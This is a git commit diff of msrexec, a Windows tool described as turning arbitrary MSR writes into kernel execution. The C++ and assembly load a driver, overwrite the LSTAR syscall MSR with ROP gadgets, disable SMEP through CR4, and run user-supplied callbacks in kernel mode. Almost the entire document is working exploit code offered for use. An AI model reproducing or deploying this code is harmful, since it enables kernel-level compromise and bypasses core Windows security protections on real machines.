syscall handler works LSTAR gets restored...

merge-requests/1/head
_xeroxz 3 years ago
parent 93c45ecec2
commit 0fcc7cab62

@ -1,3 +0,0 @@
# msrexec
elevate arbitrary MSR writes to kernel execution

@ -2,6 +2,9 @@
#include "vdm.hpp"
#include <iostream>
using ex_alloc_pool_t = void* (*)(std::uint32_t, std::size_t);
using dbg_print_t = void(*)(const char*, ...);
int __cdecl main(int argc, char** argv)
{
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
@ -11,20 +14,40 @@ int __cdecl main(int argc, char** argv)
return {};
}
std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n",
drv_handle, drv_key.c_str(), drv_status);
std::getchar();
std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n", drv_handle, drv_key.c_str(), drv_status);
std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
vdm::writemsr_t _write_msr =
writemsr_t _write_msr =
[&](std::uint32_t reg, std::uintptr_t value) -> void
{ vdm::writemsr(reg, value); };
{
// put your code here to write MSR....
// the code is defined in vdm::writemsr for me...
vdm::writemsr(reg, value);
};
const auto ex_alloc_pool =
reinterpret_cast<ex_alloc_pool_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool"));
const auto dbg_print =
reinterpret_cast<dbg_print_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "DbgPrint"));
sizeof write_msr_t;
vdm::msrexec_ctx msrexec(_write_msr);
msrexec.exec([&]() -> void { int a = 10; });
std::printf("press enter to run 100 syscall tests...\n");
std::getchar();
for (auto idx = 0u; idx < 100; ++idx)
{
msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void
{
dbg_print("> allocated pool -> 0x%p\n",
ex_alloc_pool(NULL, 0x1000));
});
}
const auto unload_result =
vdm::unload_drv(drv_handle, drv_key);
@ -34,4 +57,7 @@ int __cdecl main(int argc, char** argv)
std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result);
return {};
}
std::printf("completed tests...\n");
std::getchar();
}

@ -1,5 +1,14 @@
#include "msrexec.hpp"
void msrexec_handler()
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
//callback();
}
namespace vdm
{
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
@ -11,14 +20,14 @@ namespace vdm
MOV_CR4_GADGET, "xxxx");
if (!m_sysret_gadget)
m_sysret_gadget =
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xx");
SYSRET_GADGET, "xxx");
if (!m_pop_rcx_gadget)
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx") + 2;
POP_RCX_GADGET, "xx");
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
return;
@ -56,12 +65,31 @@ namespace vdm
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::getchar();
}
void msrexec_ctx::exec(callback_t kernel_callback)
{
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
// make it so our thread is highest possible priority...
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// we want to finish off our quantum...
while (!SwitchToThread());
// set LSTAR to first rop gadget... race begins here...
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
syscall_wrapper();
// go go gadget kernel execution...
syscall_wrapper(kernel_callback);
// reset thread priority...
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
}

@ -1,33 +1,25 @@
#pragma once
#include "utils.hpp"
#include "syscall_handler.h"
#include <intrin.h>
#define IA32_LSTAR_MSR 0xC0000082
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
#define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x0F\x07"
#define SYSRET_GADGET "\x48\x0F\x07"
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xx"
// this is win10 2004... TODO: see how far back this signature works...
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper();
using callback_t = std::function<void()>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler();
namespace vdm
{
using callback_t = std::function<void()>;
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
class msrexec_ctx
{
public:

@ -78,6 +78,7 @@
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<LargeAddressAware>false</LargeAddressAware>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -95,6 +96,7 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<LargeAddressAware>false</LargeAddressAware>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />

@ -39,8 +39,8 @@
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="syscall_handler.asm">
<MASM Include="syscall_handler.asm">
<Filter>Source Files</Filter>
</None>
</MASM>
</ItemGroup>
</Project>

@ -1,6 +1,8 @@
extern msrexec_handler : proc
.data
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
@ -25,49 +27,54 @@
.code
syscall_handler proc
cli ; smep is disabled and LSTAR is still not restored at this point... ; we dont want the thread schedular to smoke us...
swapgs ; swap gs to kernel gs, and switch to kernel stack...
mov gs:m_kpcr_rsp_offset, rsp
mov rsp, gs:m_kpcr_krsp_offset
swapgs ; swap gs to kernel gs (_KPCR...)
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall...
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h
; call msrexec_handler
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rsp, gs:m_kpcr_rsp_offset ; restore rsp...
swapgs
sti ; we will be enabling smep in the next return...
mov rax, m_smep_on ; cr4 will be set to rax in the next return...
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
mov rsp, gs:[rax]
swapgs ; swap back to TIB...
ret
syscall_handler endp
syscall_wrapper proc
push r10
mov r10, rcx ; rcx contains RIP after syscall instruction is executed...
push m_sysret_gadget ; rop to sysret...
mov r10, rcx
push m_sysret_gadget
lea rax, finish ; push rip back into rax...
lea rax, finish
push rax
push m_pop_rcx_gadget
push m_mov_cr4_gadget ; enable smep...
push m_mov_cr4_gadget
push m_smep_on
push m_pop_rcx_gadget
lea rax, syscall_handler ; rop from mov cr4 gadget to syscall handler...
lea rax, syscall_handler
push rax
push m_mov_cr4_gadget ; rop from syscall handler to enable smep again...
push m_smep_off ; gets pop'ed into rcx by gadget at LSTAR...
push m_mov_cr4_gadget
push m_smep_off
syscall
finish:
pop r10
pop r10
ret
syscall_wrapper endp
end

@ -1,6 +1,13 @@
#pragma once
#include <cstdint>
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" unsigned long long cr4_value;
extern "C" unsigned long kpcr_rsp_offset;
extern "C" unsigned long kpcr_krsp_offset;
extern "C" void syscall_handler(unsigned long long rip);
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);
Loading…
Cancel
Save